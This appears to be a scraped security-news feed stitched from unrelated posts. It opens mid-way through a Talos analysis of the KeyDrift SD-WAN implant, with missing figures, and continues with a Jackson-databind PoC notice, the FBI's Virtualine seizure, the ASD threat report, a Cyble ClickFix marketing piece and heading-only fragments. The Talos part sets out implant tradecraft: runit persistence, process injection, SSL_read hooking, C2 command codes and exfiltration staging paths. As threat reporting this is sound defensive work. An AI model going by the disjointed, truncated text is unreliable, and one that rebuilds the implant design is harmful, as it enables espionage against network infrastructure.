• Observed targeting spans across space and satellite services, defense and aerospace technology, and policy research.

Talos assesses with high confidence that UAT-11473’s operating infrastructure overlaps considerably with Volt Typhoon’s “Silent Train” covert access network.

KeyDrift is a custom malware framework that is designed to operate in Cisco SD-WAN controller environments. Talos assesses with high confidence that the framework is designed to provide long-term persistent access and automated exfiltration of sensitive keying material. KeyDrift operates inside SD-WAN control-plane processes and is capable of intercepting decrypted control traffic, extracting control-session metadata and data-plane keying material, and staging or transmitting the collected material using encrypted records.

The framework's primary component is PolyFlame, a memory-resident module deployed through modified runit service paths. PolyFlame is injected into legitimate running vdaemon processes, and it can also masquerade as a packed “aaamgrd” loader variant. Once resident, PolyFlame interposes socket, DTLS, and runtime-linker behavior through functions such as recvfrom, sendto, getpeername, dlopen, dlsym, mprotect, and “/proc/%d/maps” parsing. This gives KeyDrift access to SD-WAN control-plane traffic from inside legitimate controller daemon execution rather than through a conventional endpoint beacon.

LittleFilch, another component of the KeyDrift framework, provides the collection and exfiltration capability identified in the framework. The module hooks “SSL_read” inside vdaemon, inspects decrypted control-plane buffers, extracts keying material for a list of predefined edge nodes, and stages the data locally in encrypted format for exfiltration.

Talos assesses with high confidence that KeyDrift's intended operational purpose is Cisco SD-WAN control-plane collection: persistent controller residence, in-band traffic access, key-material extraction from decrypted control messages, and encrypted staging or exfiltration of the recovered material. Observed variations of the KeyDrift modules and deployment mechanisms suggest active development of the framework’s capabilities.

KeyDrift analysis

KeyDrift uses Cisco SD-WAN runit service paths as its primary execution anchor. In the PolyFlame sshd deployment, the actor modifies the service run script, remounts /rootfs.rw executable, launches a malicious script “conf_sshd” in the background, and then starts the legitimate sshd service. The loader script enumerates running vdaemon PIDs, records them in “/tmp/system-vdaemon”, and invokes the injector component “rsshd” to inject PolyFlame (“libdssl.so”) into each process.

Recovered conf_sshd logic uses the same control flow across reviewed samples:

Runit launchers

The observed sshd runit launcher preserves normal Cisco SD-WAN sshd startup logic while adding two malicious lines before service execution, which remount “/rootfs.rw” executable and background execution of conf_sshd, which then drives rsshd injection into vdaemon.

The recovered aaamgr runit launcher from an affected vBond appliance uses a parallel service-wrapper pattern, but it executes the packed aaamgrd PolyFlame loader directly. The deletion of the writable-overlay PAM configurations for sshd and login before remounting “/rootfs.rw” executable if part of the legitimate script, along with the invocation of the aaamgrd daemon via Python:

PolyFlame

PolyFlame is the primary operational module in the KeyDrift framework. PolyFlame operates at the socket and DTLS control-plane layer. PolyFlame serves two primary purposes:

• Command execution via a TinyShell-styled backdoor
• Intermediate C2 that can forward commands to and from the C2 to other peers

PolyFlame is primarily injected into the vdaemon process, providing operational obfuscation and access to all in-process state: DTLS session keys, vEdge topology, OMP routes, and policy tables. No hardcoded IPv4 addresses, binding ports, callback domains, URLs, host headers, or polling interval were recovered from the analyzed PolyFlame samples. PolyFlame is designed for in-band control or tasking over Cisco SD-WAN control-plane traffic rather than a conventional fixed external beacon.

This implant is meant to serve as a hook of the recvfrom() API call. The original recvfrom is replaced by a malicious subroutine in the vdaemon process. When recvfrom is called in the vdaemon process, the malicious subroutine will first execute the real/legitimate recvfrom() API to obtain the C2 IP address info for communicating with it in the future.

PolyFlame’s time check

The recvd data from the C2 consists of the MD5 value of a specific DATE. PolyFlame will calculate the local time on the device in format “%Y-%m-%d" and calculate its MD5 hash. If the MD5 calculated by the device does not match with the one sent by the C2, the implant will stop further execution. Otherwise, the implant then uses an “administrative code” from the C2 and performs an action.

PolyFlame’s tasking

PolyFlame contains an administrative mode that processes the admin code sent by the C2, that defines operations — it's one of the first flags checked in the backdoor:

• Code = 1: Generate random bytes and send to C2. This is likely a check-in beacon or heartbeat for the C2.
• Code = 2: Set implant type to backdoor (TinyShell) or intermediate C2.
• Code = 3: Set up the command handler for the intermediate C2.
• Any other code value: Check the implant type flag currently set. Based on the implant type flag, either send the accompanying data to TinyShell or the intermediate C2 component for processing.

PolyFlame’s command execution

PolyFlame contains a backdoor that matches the capabilities of TinyShell: file read, file write, and arbitrary command execution, but not interactive shell. This backdoor component’s implementation is quite similar to TinyShell, but the command codes differ. PolyFlame handles the following command codes:

• Code = 0x100: Execute command using “/bin/sh -c <command>”
• Code = 0x200: Write file to disk.
• Code = 0x300: Read file from disk and send to the C2.

PolyFlame as an intermediate C2 component

The intermediate C2 component is a one-to-many handler (somewhat like a one-to-many multiplexer) — meaning the implant can connect to only one C2 but can connect to many peers who can be served by the intermediate C2 component. Similar to the TinyShell-backdoor component, the intermediate C2 component also accepts and processes specific command codes from the C2:

• Code = 0x403: Create a thread to connect to the specified peer IP. Make a new connection and keep socket alive until specified.
• Code = 0x404: Send data recvd from the C2 to a connected peer.
• Code = 0x405: Remove a peer from the list of active connections.
• Code = 0x407: Send a response recvd from a peer, back to the C2.
• Code = 0x408: Set a specific value in memory.

PolyFlame variant: aaamgrd

 Talos has observed a distinct PolyFlame variant that masquerades as the aaamgr service. The legitimate Cisco aaamgr component is a Python package; it does not normally appear as a compiled ELF runit service. This PolyFlame variant is executed by a malicious runit service under “/etc/sv/aaamgr/” with aaamgrd and a modified run launcher.

aaamgrd is a statically linked ELF64 executable with no section headers, a single RWE loader segment, and an RC4-encrypted embedded ELF payload. The loader uses direct syscalls including ptrace, fork, wait4, kill, tgkill, mmap, and mprotect. It performs an anti-debug check by deobfuscating /proc/%d/status and TracerPid: and exits if a tracer is present.

The observed staging sequence was:

Figure 4. PolyFlame staging sequence.

Note that in addition to the implant execution staging, there are also indications of timestomping.

LittleFilch: libcommon.so TLS interception module

LittleFilch is a control-session interception module positioned to collect data-plane keying material from control sessions visible to the injected vSmart process.

LittleFilch installs an SSL_read hook inside vdaemon. The hook calls the original SSL_read, then processes returned buffers only when the returned size is greater than 0x18F, the first decrypted byte is 0x07, and three marker patterns are checked for presence. These marker bytes are followed by the actual artifacts that LittleFilch aims to record:

LittleFilch records the extracted keying material and RSA-encrypts it before writing the output to “/var/tmp/vdaemon.bin”. It can then send the encrypted content over UDP in a DTLS 1.2 application-data style record.

LittleFilch expects its configuration file — located at “/var/tmp/vdaemon.conf” —  to contain two host port lines: one local bind IP/port and one remote destination IP/port. It deletes “/var/tmp/vdaemon.conf” after reading it. Talos has not been able to recover the “vdaemon.conf” file.

KeyDrift components

MITRE ATT&CK techniques 

Recommendations

Cisco has released patches for CVE-2026-20127 and published a hardening guide for Cisco Catalyst SD-WAN deployments available here. Organizations are strongly advised to prioritize the application of these patches and follow the guidance provided.

Following the identification of UAT-11473 activity, Talos strongly recommends that organizations monitor their systems for indicators of post-compromise activity. Should any signs of unauthorized activity be detected, organizations should immediately activate their incident response frameworks. Contact the Cisco Technical Assistance Center (TAC) for support by initiating a TAC request.

Coverage

Snort SIDs are already available for CVE-2026-20127: 65938, 65958.

Snort SIDs for the malicious artifacts illustrated in this blog:

• Snort v2: 67387 through 67416
• Snort v3: 7:44 through 7:73

Details and a PoC exploit are public for jackson-databind vulnerability CVE-2026-110879 (CVSS 9.8), a bypass of the CVE-2026-54512 fix. Patch now.

Related Posts:

• Kerio Connect Vulnerability CVE-2026-112353 Exploited in the Wild to Steal Mailboxes
• Apache Kafka Fixes 12 Vulnerabilities, Including a JWT Bypass That Grants Full Cluster Access
• FreeSWITCH Vulnerability CVE-2026-116779 Exploited in the Wild to Run Commands

The post Details and PoC Exploit Released for Jackson-Databind Flaw CVE-2026-110879 (CVSS 9.8) appeared first on Daily CyberSecurity.

The FBI seized Virtualine, a hosting service accused of supporting criminal sites, ignoring abuse reports and helping launder money from illegal activities

The FBI seized the website of Virtualine, a hosting service that sold its services to criminals. The seized domain is virtualine.net, and the government says the site was used to commit and facilitate prolific criminal activity. That includes the advertisement of sexually explicit images of minors, the intentional disclosure of nonconsensual intimate images of adults and minors, and international money laundering. A court authorized the seizure.

“Theophani K. Stamos, First Assistant U.S. Attorney for the Eastern District of Virginia, and Darren B. Cox, Assistant Director in Charge of the FBI Washington Field Office, announced today the seizure of the website virtualine.net after it was used to commit and facilitate prolific criminal activity, including the advertisement of sexually explicit images of minors, the intentional disclosure of nonconsensual intimate visual depictions of adults and minors, and international money laundering designed to conceal and promote criminal conduct.” The Justice Department has the details in a press release.

Virtualine, also known as Secury, Massgod, Spamhouse, Lanedo and Omegatech, offers “bulletproof” hosting. It sells hosting, servers and domain names to customers who want a provider that ignores abuse complaints. It promotes its services on cybercrime forums.

Court records include examples of those ads. In September 2024, Virtualine told an Exploit.in user that it allowed illegal activities such as phishing, payment card fraud, email spam and port scanning, but banned child sexual abuse material and terrorism-related content. In June 2025, it boasted on HackForums that it ignored more abuse than three therapists combined.

In March 2026, Virtualine promoted an “additional protection plan” for customers, offered after the company received an official request from law enforcement. Under the plan, it would move the customer’s criminal infrastructure to another shell company unaffiliated with Virtualine, and then reactivate the server. It was a game of musical shell companies.

“In March 2026, Virtualine advertised its “additional protection plan,” which it offered to its customers after “receiv[ing] an official request from law enforcement agencies.” Under this plan, Virtualine would move the customer’s criminal infrastructure to “another shell company not affiliated with Virtualine, after which the server is reactivated.”” continues the press release.”As Virtualine advertised to users on the platform HackForums in June 2025, “Virtualine ignored more abuse than your last three therapists.””

Despite saying it bans child content, the government says Virtualine knowingly hosted a website that carried it. Court records call that site Vendor 1. It’s a criminal online forum where users post and sell access to nude, sexually suggestive or sexually explicit images and videos of minors and adults, and it also promotes a hack-for-hire service in which people pay hackers to get into victims’ online accounts without consent and take explicit images and videos.

In January 2026, about a month after assigning Vendor 1 an IP address, Virtualine began receiving reports of child sexual abuse images and videos on the server. The reports came from police in Germany, Canada and Australia, the US National Center for Missing and Exploited Children (NCMEC), and a victim’s lawyer. According to the government, Virtualine continued hosting Vendor 1 despite those warnings.

The government also says Virtualine helped Vendor 1 build a new website. It allowed users to upload illegal material and download it after paying.

The site accepted several payment methods, including an option called “BTC [NO-AML].” It used bitcoin addresses outside a hosted payment service, allowing customers to pay directly and avoid that service’s checks for illegal funds.

Authorities say some payments came directly from criminal groups. They accuse Virtualine of accepting the money and moving it through further transactions to hide its source.

The FBI’s Washington Field Office led the investigation, with significant help from Germany’s Polizei Hessen, the Netherlands’ Politie Midden-Nederland, the U.K.’s National Crime Agency, and private partners OverRIPE and Lumen. The Justice Department’s Office of International Affairs also assisted. Assistant U.S. Attorneys Laura D. Withers and Stefanie A. Schwartz represent the government.

A domain seizure doesn’t end the problem, and the government says so in plain terms. The new website Virtualine built with Vendor 1 has already drawn at least one abuse complaint about sexually explicit images of children, and the release adds: Virtualine hosts this new website to this day.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Virtualine)

Australians filed a cybercrime report about every six minutes over the past year, and artificial intelligence is making the attacks behind those reports faster and more convincing. That is the main finding of the ASD Cyber Threat Report 2025-26. It is the seventh annual assessment from the Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC).

In FY2025-26, the agency received more than 82,000 cybercrime reports through ReportCyber. It responded to over 1,500 cyber security incidents, up more than 20% on the previous year and 36% over five years. It also notified Australian entities of potentially malicious activity more than 4,400 times, almost 80% more than in FY2024-25.

What the ASD Cyber Threat Report Says About AI

The report calls AI the defining force in the threat environment this year. In his foreword, Deputy Prime Minister and Defence Minister Richard Marles wrote that AI is helping malicious actors find vulnerabilities faster and exploit them at greater scale, speed and sophistication. He also noted that new threats have emerged in recent weeks from the unintended actions of AI agents and from model testing.

ASD’s ACSC makes one clear distinction. AI has not created new kinds of threats. It has amplified and sped up existing ones. AI-enabled cyber threats are most visible in social engineering. Attackers are using AI to write phishing emails with no spelling or grammar errors and to automate targeted spearphishing. The Australian Securities and Investments Commission has also seen a sharp rise in scams that use deepfake videos of celebrities and politicians.

The time defenders have to respond is also shrinking. The agency has previously observed that most vulnerabilities are exploited within two weeks, and some within 48 hours of a patch being released. It expects AI-driven tools to shorten that window further over the next 12 months. Publicly reported vulnerabilities (CVEs) rose 30%. Old flaws are still a problem too: ASD’s ACSC recorded the successful exploitation of a vulnerability first identified in 2008.

Incident Severity Grows in ASD Cyber Threat Report Data

Only one Category 2 incident was recorded this year. However, extensive compromises rose from 26 to 40. ASD’s ACSC identified 362 incidents after proactively notifying organisations. A single notification about cPanel vulnerabilities, sent to 340 entities in May 2026, led to more than 60 confirmed incidents.

The number of ransomware incidents held steady at 139, but extensive ransomware incidents rose from 16 to 24. Health Care, Professional, Scientific and Technical Services, and Manufacturing remained the most affected sectors. Data breaches made up 98 incidents, a 66% increase on the previous year. Separately, the Office of the Australian Information Commissioner received 1,205 breach notifications in 2025. That is the highest yearly total since its Notifiable Data Breaches scheme began in 2018.

The financial impact is rising for businesses. The average self-reported cost of cybercrime per business report rose 16% to $93,500. For medium-sized businesses, it rose 45% to $141,300. The average cost for individuals stayed at $33,000. Identity fraud remained the most reported cybercrime, although reports fell 18%.

Stolen access is now a major entry point. Compromised accounts and credentials were among the most frequently reported incident categories, and phishing appeared in 39% of incidents. Government survey research cited in the report found that 55% of Australians reuse passwords across multiple accounts.

State Actors and Critical Infrastructure in the ASD Cyber Threat Report

State-sponsored actors continued to target Australian government, business and individuals to gain sensitive information. The report says these actors are increasingly pre-positioning inside networks to enable future disruption. Marles wrote that the line separating state-sponsored espionage from sabotage and cybercrime is becoming increasingly blurred.

In April 2026, ASD’s ACSC and international partners highlighted a shift by China-nexus actors. These actors are moving towards large covert networks built from compromised home and small office routers, Internet of Things devices and smart devices.

Critical infrastructure accounted for 154 incidents, or 10% of the total, a decrease of almost 7%. Phishing was the leading initial access technique at 36%, and Financial and Insurance Services was the most affected critical infrastructure division at 30%.

What the Threat Report Asks Organisations to Do

In October 2026, ASD’s ACSC released the Essentials series. It evolves the Essential Eight into a principles-based framework with three chapters: Enterprise IT, Operational Technology and Cloud.

Under its Cyber Action Year, the agency is pushing five priorities:

• Replacing or mitigating legacy technology.
• Implementing best-practice event logging.
• Managing supply chain risk.
• Preparing for AI-enabled threats.
• Preparing for post-quantum cryptography, including ceasing the use of traditional asymmetric cryptography by the end of 2030 or sooner.

The report also urges organisations to patch faster. For individuals, it recommends reviewing privacy settings and enabling multi-factor authentication or passkeys.

Suspicious activity, incidents and vulnerabilities can be reported at cyber.gov.au or through the Australian Cyber Security Hotline on 1300 CYBER1 (1300 292 371).

Seven Suspects Tied to the Cybercrime Ring 

How AI Widened the Attacks Across South Korea 

Tracking Down the Cybercrime Ring 

A First for South Korea

Booking.com's systems were never breached. Its name was. Storm-1865 spent months borrowing Booking.com's identity to get into hotel computers, and every step of that borrowing left traces on the open internet. 

The open internet is exactly where Cyble Brand Intelligence & Protection works. Walk through the campaign one step at a time, and at each step there is a point where it could have spotted the attacker, cut the attack short or limited the damage. 

What happened 

From December 2024, a group Microsoft tracks as Storm-1865 posed as Booking.com to target hotel and hospitality staff across North America, Europe, Oceania and South and Southeast Asia. Microsoft Threat Intelligence published its findings on March 13, 2025, and said the campaign was still running as of February 2025. 

The attack had four moving parts: 

• The lure. Emails styled as Booking.com messages about negative guest reviews, guest enquiries, promotion offers or account verification. 

• The landing page. A link, sometimes inside a PDF, opened a fake CAPTCHA laid over a faint copy of a real Booking.com page. 

• The trick. The "verification" told staff to open the Windows Run box and paste a command the page had already copied to their clipboard. 

• The payload. That command used mshta.exe to pull commodity malware, including XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot and NetSupport RAT, all built to steal credentials and payment data. 

This was not a one-off. Microsoft says Storm-1865 targeted Booking.com guests in 2023 and e-commerce buyers in 2024 before adding ClickFix. Booking.com told Infosecurity Magazine its own systems were not breached, but some accommodation partners and customers were hit. 

Why the impersonated brand holds the first move 

Booking.com could not install security software on the laptops of its accommodation partners. What it could reach was the attacker's infrastructure copying its brand, and that infrastructure was detectable. Microsoft's own email security flagged URLs in this campaign as impersonating booking.com. 

The stakes are high. The US Federal Trade Commission says people reported losing nearly $1 billion to business impersonators in 2025, out of $3.5 billion lost to imposter scams overall. Every copy of a brand caught early is one fewer victim. 

Five steps, five chances to step in 

Storm-1865 needed Booking.com's credibility at every stage of the attack. Here is each stage, and how Cyble Brand Intelligence & Protection could have helped at it. 

Step 1: Pick a trusted brand and a target list 

What the attacker did. Storm-1865 was a repeat player. Microsoft says it went after Booking.com guests in 2023 and e-commerce buyers in 2024, then turned to hotel staff most likely to work with Booking.com. 

How Cyble could have helped. Cyble's in-house brand team and OSINT surveillance track brand mentions and the actors who keep returning to a brand. A known playbook becomes a set of watch-list rules, so the next wave is expected rather than discovered after the fact. 

Step 2: Register the infrastructure 

What the attacker did. The campaign needed domains and URLs to host its fake pages. Microsoft flagged some of them as matching a known malicious registrant pattern. 

How Cyble could have helped. Suspicious & Watch-Listed Domain monitoring tracks new registrations and DNS activity for typosquats, homoglyphs and lookalike domains, including AI-generated ones. A domain built to impersonate the brand can be flagged when it is registered, before it hosts a single page. 

Step 3: Build the fake Booking.com page 

What the attacker did. Victims landed on a fake CAPTCHA laid over a faint copy of a real Booking.com page. The familiar look was the point: it made a strange request feel routine. 

How Cyble could have helped. Phishing Detection finds sites impersonating the brand, and Watermarking Surveillance spots copied or mirrored brand assets, even on domains with no brand name in them. Automated Takedown then works to get confirmed pages removed. Every hotel that clicks after a takedown hits a dead link instead of a trap. 

Step 4: Send lures across regions 

What the attacker did. Emails and PDFs about negative reviews, guest requests, promotions and account checks went to hotels across North America, Europe, Oceania and Asia. Some came through vendor platforms and ordinary services such as Gmail and iCloud Mail. 

How Cyble could have helped. Multi-language NLP is built to catch phishing and impersonation attempts that are not in English, which matters for a campaign spread across this many markets. Lures that partners report can be handed to Cyble's brand team, traced to the live page behind them and queued for takedown. 

Step 5: Cash in on stolen credentials and payment data 

What the attacker did. Once a staff member pasted the command, malware such as XWorm, Lumma Stealer and VenomRAT went to work. Microsoft says every payload in the campaign could steal credentials and financial data for fraud. 

How Cyble could have helped. Stopping the pasted command itself is a job for endpoint and email controls. What Cyble adds is the aftermath: OSINT surveillance watches forums, blogs and paste sites for exposed credentials and data leaks tied to the brand. Spotting stolen partner logins early gives everyone time to reset access before fraud follows. 

This walkthrough maps public research to Cyble's capabilities. It is not a claim that Cyble took part in the response to this campaign. 

Strongest alongside your other defenses 

Brand intelligence works outside your network, so it pairs naturally with what runs inside it. When a lure arrives from an ordinary Gmail or iCloud address, there is no fake sender domain to flag, so the landing page becomes the asset to hunt. And if someone does run the pasted command, email filtering, endpoint detection, script controls and phishing-resistant MFA, the mitigations Microsoft recommends, do the stopping. Brand intelligence makes sure far fewer people ever reach that moment. 

Is your brand the next Target? Six questions to ask 

Any brand that sits between businesses and their customers can be borrowed the same way: travel platforms, marketplaces, payment providers, logistics firms and SaaS vendors. Ask your team: 

1. Do we know which of our emails, notices and portal pages are most copied by attackers? 

2. Are we alerted when a domain containing our name, or a homoglyph of it, is registered? 

3. Can we spot a cloned page even when it sits on an unrelated domain or free hosting? 

4. How long does it take us to get a confirmed phishing page taken down? 

5. Do our partners know how to report a suspicious message that uses our name? 

6. Do we watch criminal forums and channels for kits or templates built around our brand? 

If more than two answers are "no" or "not sure," the attacker's preparation phase is happening without anyone watching. 

The takeaway 

Look back at the five steps and a pattern stands out. Storm-1865 needed Booking.com's credibility at every one of them, and every one left a trace outside the victims' networks. 

With Cyble Brand Intelligence & Protection watching, each trace becomes a chance to step in: a repeat actor on the watch list, a lookalike domain flagged at registration, a cloned page taken down, a lure traced to its source, a leaked login caught early. If your partners and customers trust your name, Cyble helps make sure nobody else gets to use it. 

See how it works for your brand: request a personalized demo. 

References 

• Microsoft Threat Intelligence, Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware, March 13, 2025 

• Infosecurity Magazine, 'ClickFix' Phishing Scam Impersonates Booking.com to Target Hospitality (includes Booking.com statement) 

• US Federal Trade Commission, 2025 imposter scam data release, June 2026 

• Cyble, Brand Intelligence & Protection datasheet v1.1, August 2026 

Disclaimer: The data and content written in this blog is based on on open web information available. Analysts and researchers are advised to confirm once again from original sources.

The post Know How Cyble Brand Intelligence Can Help Stop ClickFix Campaigns in its Tracks appeared first on Cyble.

DOJ officials announced a Cambodia crypto scam extradition after Zheng Zhao allegedly helped launder $36.9M stolen from 174 US victims via USDT.

Related Posts:

• Doppelganger Campaign Targets Israel Elections With Fake News and AI Poisoning
• Suspected Access Broker k0t Hits FortiGate and GlobalProtect Devices, Exposing 70,000 Credentials
• Storm-0940 Uses ARTEX AI Agent to Probe IT and Software Vendors for Supply Chain Access

The post DOJ Extradites Suspect in $36.9M Cambodia Crypto Scam Targeting Americans appeared first on Daily CyberSecurity.